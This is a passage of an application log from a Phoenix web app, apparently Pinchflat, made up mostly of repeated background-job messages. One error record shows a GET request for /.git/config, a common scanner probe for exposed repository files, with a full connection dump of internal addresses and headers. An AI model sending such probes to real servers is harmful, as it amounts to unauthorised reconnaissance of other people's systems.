"24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max (truncated) 04:07:00.766 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:07:15.147 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:45.148 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.767 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:08:15.149 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:45.150 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.768 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:09:15.151 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:45.152 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.769 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:10:15.153 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:45.154 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.770 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:11:15.155 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:45.156 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.771 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:12:15.157 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:45.158 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.772 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:13:15.159 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:45.160 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.773 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:14:15.161 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:45.162 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.774 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:15:15.163 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:45.164 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.775 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:16:15.165 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:45.166 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.776 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:17:15.167 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:45.168 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.777 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:18:15.169 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:45.170 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:53.893 [info] GET /.git/config 04:18:53.893 [debug] QUERY OK source="settings" db=0.2ms idle=906.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:18:53.894 [debug] QUERY OK source="settings" db=0.1ms idle=847.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:18:53.894 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:18:53.894 [error] #PID<0.7814.0> running PinchflatWeb.Endpoint (connection #PID<0.7813.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7813.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 50400}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7814.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFCCNbjZ0KRfyoAA2oB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7813.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 50400}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7813.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 50400}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.7814.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pi (truncated) 04:19:00.778 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:19:15.171 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:45.172 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.779 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:20:15.173 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:45.174 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.780 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:21:15.175 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:45.176 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.781 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:22:15.177 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:45.178 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.782 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:23:15.179 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:45.180 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.783 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:24:15.181 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:45.182 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.784 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:25:15.183 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:45.184 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.785 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:26:15.185 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:45.186 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.786 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:27:15.187 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:45.188 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.787 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:28:15.189 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:45.190 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.788 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:29:15.191 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:45.192 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.789 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:30:15.193 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:45.194 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.790 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:31:15.195 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:45.196 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.791 [info] {"source":"oban","duration":134,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:32:15.197 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:45.198 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.792 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:33:15.199 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:45.200 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.793 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:34:15.201 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:45.202 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.794 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:35:15.203 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:45.204 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.795 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:36:15.205 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:45.206 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.796 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:37:15.207 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:45.208 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.797 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:38:15.209 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:45.210 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.798 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:39:15.211 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:45.212 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.799 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:40:15.213 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:45.214 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.800 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:41:15.215 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:45.216 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.801 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:42:15.217 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:45.218 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.802 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:43:15.219 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:45.220 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.803 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:44:15.221 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:45.222 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.804 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:45:15.223 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:45.224 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.805 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:46:15.225 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:45.226 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.806 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:47:15.227 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:45.228 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.807 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:48:15.229 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:45.230 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.808 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:49:15.231 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:45.232 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.809 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:50:15.233 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:45.234 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.810 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:51:15.235 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:45.236 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.811 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:52:15.237 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:45.238 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.812 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:53:15.239 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:45.240 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.813 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:54:15.241 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:45.242 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.814 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:55:15.243 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:45.244 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.815 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:56:15.245 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:45.247 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.816 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:57:15.248 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:45.249 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.817 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:58:15.250 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:45.251 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.818 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:59:15.252 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:45.253 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.819 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:00:15.254 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:45.255 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.820 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:01:15.256 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:45.257 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.821 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:02:15.259 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:45.260 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.822 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:03:15.261 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:45.262 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.823 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:04:15.263 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:45.264 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.824 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:05:15.265 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:45.266 [info] 